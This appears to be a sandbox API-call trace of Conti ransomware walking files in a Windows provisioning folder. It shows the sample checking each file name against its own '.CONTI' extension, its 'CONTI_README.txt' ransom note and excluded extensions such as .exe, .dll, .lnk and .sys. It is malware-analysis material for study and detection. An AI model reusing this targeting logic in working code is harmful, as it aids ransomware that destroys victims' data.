	[0109.017] StrStrIW (lpFirst="283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.017] StrStrIW (lpFirst="283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.017] StrStrIW (lpFirst="283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.017] StrStrIW (lpFirst="283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.017] StrStrIW (lpFirst="283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.017] StrStrIW (lpFirst="283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.017] StrStrIW (lpFirst="283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.017] StrStrIW (lpFirst="283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.017] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.017] lstrlenW (lpString="283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml") returned 71
	[0109.017] GetProcessHeap () returned 0x1720000
	[0109.017] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x144) returned 0x6b72c98
	[0109.017] lstrcpyW (in: lpString1=0x6b72c98, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.017] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.017] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml"
	[0109.017] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90aa0698, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90aa0698, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90aa0698, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml", cAlternateFileName="284__C~1.PRO")) returned 1
	[0109.017] lstrcmpiW (lpString1="284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.017] lstrcmpiW (lpString1="284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.018] StrStrIW (lpFirst="284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.018] StrStrIW (lpFirst="284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.018] StrStrIW (lpFirst="284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.018] StrStrIW (lpFirst="284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.018] StrStrIW (lpFirst="284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.018] StrStrIW (lpFirst="284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.018] StrStrIW (lpFirst="284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.018] StrStrIW (lpFirst="284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.018] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.018] lstrlenW (lpString="284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml") returned 70
	[0109.018] GetProcessHeap () returned 0x1720000
	[0109.018] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x6b73600
	[0109.018] lstrcpyW (in: lpString1=0x6b73600, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.018] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.018] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml"
	[0109.018] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90aa0698, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90aa0698, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90aa0698, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml", cAlternateFileName="285__C~1.PRO")) returned 1
	[0109.018] lstrcmpiW (lpString1="285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.018] lstrcmpiW (lpString1="285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.018] StrStrIW (lpFirst="285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.018] StrStrIW (lpFirst="285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.018] StrStrIW (lpFirst="285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.018] StrStrIW (lpFirst="285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.018] StrStrIW (lpFirst="285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.018] StrStrIW (lpFirst="285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.018] StrStrIW (lpFirst="285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.018] StrStrIW (lpFirst="285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.018] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.018] lstrlenW (lpString="285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml") returned 70
	[0109.018] GetProcessHeap () returned 0x1720000
	[0109.018] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x6b74370
	[0109.018] lstrcpyW (in: lpString1=0x6b74370, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.018] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.018] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml"
	[0109.019] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ac6903, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ac6903, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ac6903, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml", cAlternateFileName="286__C~1.PRO")) returned 1
	[0109.019] lstrcmpiW (lpString1="286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.019] lstrcmpiW (lpString1="286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.019] StrStrIW (lpFirst="286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.019] StrStrIW (lpFirst="286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.019] StrStrIW (lpFirst="286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.019] StrStrIW (lpFirst="286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.019] StrStrIW (lpFirst="286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.019] StrStrIW (lpFirst="286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.019] StrStrIW (lpFirst="286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.019] StrStrIW (lpFirst="286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.019] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.019] lstrlenW (lpString="286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml") returned 70
	[0109.019] GetProcessHeap () returned 0x1720000
	[0109.019] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x6b72df0
	[0109.019] lstrcpyW (in: lpString1=0x6b72df0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.019] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.019] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml"
	[0109.019] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ac6903, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ac6903, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ac6903, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml", cAlternateFileName="287__C~1.PRO")) returned 1
	[0109.270] lstrcmpiW (lpString1="287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.270] lstrcmpiW (lpString1="287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.270] StrStrIW (lpFirst="287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.270] StrStrIW (lpFirst="287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.270] StrStrIW (lpFirst="287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.270] StrStrIW (lpFirst="287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.270] StrStrIW (lpFirst="287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.270] StrStrIW (lpFirst="287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.271] StrStrIW (lpFirst="287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.271] StrStrIW (lpFirst="287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.271] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.271] lstrlenW (lpString="287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml") returned 70
	[0109.271] GetProcessHeap () returned 0x1720000
	[0109.271] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x6b73a08
	[0109.271] lstrcpyW (in: lpString1=0x6b73a08, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.271] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.271] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\287__Connections_Cellular_KPN-Hi (Netherlands)_i5$(__MVID)@WAP.provxml"
	[0109.271] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ac6903, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ac6903, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ac6903, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml", cAlternateFileName="288__C~1.PRO")) returned 1
	[0109.271] lstrcmpiW (lpString1="288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.271] lstrcmpiW (lpString1="288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.271] StrStrIW (lpFirst="288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.271] StrStrIW (lpFirst="288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.271] StrStrIW (lpFirst="288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.271] StrStrIW (lpFirst="288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.271] StrStrIW (lpFirst="288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.271] StrStrIW (lpFirst="288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.271] StrStrIW (lpFirst="288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.271] StrStrIW (lpFirst="288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.271] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.271] lstrlenW (lpString="288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml") returned 70
	[0109.271] GetProcessHeap () returned 0x1720000
	[0109.271] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x6b738b0
	[0109.271] lstrcpyW (in: lpString1=0x6b738b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.271] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.271] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\288__Connections_Cellular_KPN-Hi (Netherlands)_i6$(__MVID)@WAP.provxml"
	[0109.271] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ac6903, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ac6903, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ac6903, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2da, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml", cAlternateFileName="289__C~1.PRO")) returned 1
	[0109.271] lstrcmpiW (lpString1="289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.272] lstrcmpiW (lpString1="289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.272] StrStrIW (lpFirst="289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.272] StrStrIW (lpFirst="289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.272] StrStrIW (lpFirst="289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.272] StrStrIW (lpFirst="289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.272] StrStrIW (lpFirst="289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.272] StrStrIW (lpFirst="289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.272] StrStrIW (lpFirst="289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.272] StrStrIW (lpFirst="289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.272] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.272] lstrlenW (lpString="289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml") returned 70
	[0109.272] GetProcessHeap () returned 0x1720000
	[0109.272] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x6b73b60
	[0109.272] lstrcpyW (in: lpString1=0x6b73b60, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
